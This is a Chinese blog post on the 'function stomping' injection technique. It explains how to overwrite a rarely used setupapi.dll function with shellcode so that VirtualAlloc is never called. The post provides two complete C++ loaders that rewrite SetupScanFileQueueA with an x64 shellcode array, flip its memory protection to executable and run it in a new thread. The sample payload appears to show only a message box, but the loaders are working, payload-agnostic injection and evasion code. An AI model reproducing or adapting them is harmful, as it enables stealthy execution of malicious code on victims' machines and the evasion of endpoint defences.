首页 > 其他分享 >函数篡改注入

函数篡改注入

时间:2025-01-20 14:49:47浏览次数:1  
标签:函数 x48 x8B x4D x4C x8D 篡改 x00 注入

一、介绍

利用函数篡改注入可以避免使用 VirtualAlloc/Ex WinAPI 调用,使用新代码替换原始函数的字节,导致函数被替换或不再按预期工作。相反,函数将执行不同的逻辑。要实现这一点,需要一个被践踏的牺牲函数地址

(1)选择目标函数

本地获取函数地址很简单,但用这种技术获得的主要关注点是哪个函数。覆盖常用函数可能导致有效负载的不可控执行或进程崩溃。因此,很明显,针对 ntdll.dllkernel32.dll 和 kernelbase.dll 导出的函数是有风险的。相反,应该针对使用频率较低的函数。

(2)实现流程

1、使用 LoadLibraryA 将 Setupapi.dll 加载到本地进程内存中

2、然后使用 GetProcAddress 检索函数的地址。

3、下一步是破坏函数并用有效载荷替换它,使用 VirtualProtect 标记其内存区域为可读可写以确保可以覆盖函数。

4、将有效载荷写入函数的地址,

5、最后,再次使用 VirtualProtect 将该区域标记为可执行(RX 或 RWX)。

二、实现代码

实现一:

#include <windows.h>
#include <iostream>
#define SACRIFICIAL_DLL "setupapi.dll"
#define SACRIFICIAL_FUNC "SetupScanFileQueueA"

unsigned char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";


int main() {
    HANDLE hThread = NULL;
    DWORD dwOldProtection = NULL;

    HMODULE dllname = LoadLibraryA(SACRIFICIAL_DLL);
    PVOID pAddress = GetProcAddress(dllname, SACRIFICIAL_FUNC);
    printf("[+] 函数 \"%s\" 的地址:0x%p \n", SACRIFICIAL_FUNC, pAddress);
    printf("[#] 按 <Enter> 键加载 \"%s\" ... ", SACRIFICIAL_DLL);
    getchar();
    VirtualProtect(pAddress, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
    memcpy(pAddress, shellcode, sizeof(shellcode));
    VirtualProtect(pAddress, sizeof(shellcode), PAGE_EXECUTE_READ, &dwOldProtection);
    hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)pAddress, NULL, NULL, NULL);
    if (hThread != NULL)
        WaitForSingleObject(hThread, INFINITE);
    printf("[#] 按 <Enter> 键退出 ... ");
    getchar();
}

实现2:
不依赖LoadLibraryA+GetProcAddress获取函数地址,加载静态链接库,使用地址运算符直接检索目标函数地址(例如:&SetupScanFileQueueA)的方式可以不调用 LoadLibraryA+GetProcAddress获取函数地址

#include <windows.h>
#include <setupapi.h>
#include <iostream>
#pragma comment (lib, "Setupapi.lib")

unsigned char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";


int main() {
    HANDLE hThread = NULL;
    DWORD dwOldProtection = NULL;

    //HMODULE dllname = LoadLibraryA(SACRIFICIAL_DLL);
    //PVOID pAddress = GetProcAddress(dllname, SACRIFICIAL_FUNC);
    printf("[+] Address of \"SetupScanFileQueueA\": 0x%p\n", &SetupScanFileQueueA);

    printf("[#] 按 <Enter> 键加载 SetupScanFileQueueA");
    getchar();
    VirtualProtect(&SetupScanFileQueueA, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
    memcpy(&SetupScanFileQueueA, shellcode, sizeof(shellcode));
    VirtualProtect(&SetupScanFileQueueA, sizeof(shellcode), PAGE_EXECUTE_READ, &dwOldProtection);
    hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)&SetupScanFileQueueA, NULL, NULL, NULL);
    if (hThread != NULL)
        WaitForSingleObject(hThread, INFINITE);
    printf("[#] 按 <Enter> 键退出 ... ");
    getchar();
}


使用x64debug加载程序ctrl+g输入SetupScanFileQueueA函数地址,右健在内存窗口中转到->选定的地址

 可以看到原始函数内容成功被替换成shellcode

 

标签:函数,x48,x8B,x4D,x4C,x8D,篡改,x00,注入
From: https://www.cnblogs.com/websecyw/p/18681327

相关文章

  • 迅为RK3568开发板SPI驱动指南-mcp2515驱动编写:读寄存器函数
    瑞芯微RK3568芯片是一款定位中高端的通用型SOC,采用22nm制程工艺,搭载一颗四核Cortex-A55处理器和MaliG522EE图形处理器。RK3568支持4K解码和1080P编码,支持SATA/PCIE/USB3.0外围接口。RK3568内置独立NPU,可用于轻量级人工智能应用。RK3568支持安卓11和linux系统,主要面向......
  • GBase UCASE 和 UPPER 函数详解
    UCASE 和 UPPER 是两个用于将字符串中的字符转换为大写形式的SQL函数。它们在数据处理、报告生成、文本分析以及各种需要统一字符串格式的场景中非常实用。通过这些函数,用户可以确保数据的一致性,方便后续的比较和分析操作。1. UCASE 和 UPPER 函数的基本语法这两个函数在......
  • 映射注入
    一、前言在所有先前的实现中,私有内存类型都用于在执行期间存储有效负载。私有内存是使用 VirtualAlloc 或 VirtualAllocEx 分配的,如下图所示可以看到内存类型属于Private二、映射内存注入分配私有内存的过程因被恶意软件广泛使用而受到安全解决方案的高度监控。为了避免使......
  • C++ 模板(函数模板与类模板)
    原文链接:https://www.cnblogs.com/1873cy/p/18398002模板模板介绍#C++提供了函数模板(functiontemplate)。所谓函数模板。实际上是建立一个通用函数,其函数类型和形参类型不具体制定,用一个虚拟的类型来代表。这个通用函数就称为函数模板。凡事函数体相同的函数都可以使用这个模板......
  • 深入Node.js工具函数:前端开发的得力助手
    文章目录引言1.Node.js工具函数基础1.1常用工具函数概述1.2工具函数与前端开发的关联2.核心工具函数解析2.1path模块2.1.1resolve函数2.1.2join函数2.2fs模块2.2.1readFile与writeFile2.2.2mkdir与rmdir2.3util模块2.3.1inherits函数2.3.2inspe......
  • [oeasy]python062_提示符是怎么来的_[词根溯源]prompt_input_输入函数_提示符
    提示符是怎么来的_[词根溯源]prompt_input_输入函数_提示符回忆上次内容上次讲的是从键盘输入变量的值 input函数可以接收到输入字符串存在变量里   添加图片注释,不超过140字(可选) input函数的参数叫prompt......
  • 关于线性筛Euler函数的详细证明&代码
    引言:由于dsfz的集训老师讲的跟**一样太快了,蒟蒻前去听了洛谷网校@disangan233大佬的讲解,在此重构线性筛Euler函数的证明及代码。关于Euler函数\(Euler\)函数,同时被称为欧拉函数,定义:\(\varphi(n)\)表示\(\len\)且与\(n\)互质的数的个数我们规定:\(\varphi(1)=1\)Eu......
  • 于灵动的变量变幻间:函数与计算逻辑的浪漫交织(下)
    大家好啊,我是小象٩(๑òωó๑)۶我的博客:XiaoXiangζั͡ޓއއ很高兴见到大家,希望能够和大家一起交流学习,共同进步。这一节我们主要来学习单个函数的声明与定义,static和extern…这里写目录标题一、单个函数的声明与定义1.1单个文件1.2多个文件二、stati......
  • 【make】makefile 函数全解
    目录makefile简介函数全解介绍相关链接字符串处理函数subst函数—字符串替换patsubst函数—模式字符串替换strip函数—去空格findstring函数—查找字符串filter函数—过滤器filter-out函数—过滤器sort函数—排序word函数—取单词wordlist函数—......
  • Cecil修改UnityDll,不使用反射就能调用internal的函数
    简介在UnityEditor开发过程中,我们会经常使用反射调用一些unity还没开放的接口,比如s_LastControlID,但每个程序集都写一边反射不免显得有些麻烦。本篇文章将介绍注入InternalsVisibleToAttribute注解到unitydll的方法,来帮助大家更便捷地调用unity的内部函数。思路Internals......